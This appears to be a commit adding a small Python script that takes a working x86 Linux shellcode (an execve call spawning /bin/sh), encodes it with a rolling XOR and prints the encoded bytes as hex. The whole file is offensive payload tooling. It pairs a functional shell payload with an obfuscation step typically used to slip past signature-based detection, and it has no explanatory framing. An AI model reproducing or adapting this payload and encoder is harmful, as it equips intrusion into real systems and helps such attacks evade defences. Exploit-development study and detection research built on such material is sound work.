new_contents: #!/usr/bin/python
  
  shellcode = ("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80")
  
  out = []
  out.append(0x90)
  
  for i in range(0, len(shellcode)):
      b1 = ord(shellcode[i]) ^ out[i]
      out.append(b1)
  
  print("\nOut Length: ")
  print(str(len(out)))
  print(", ".join(hex(c) for c in out[1::]))
  
subject: Create rollingxor.py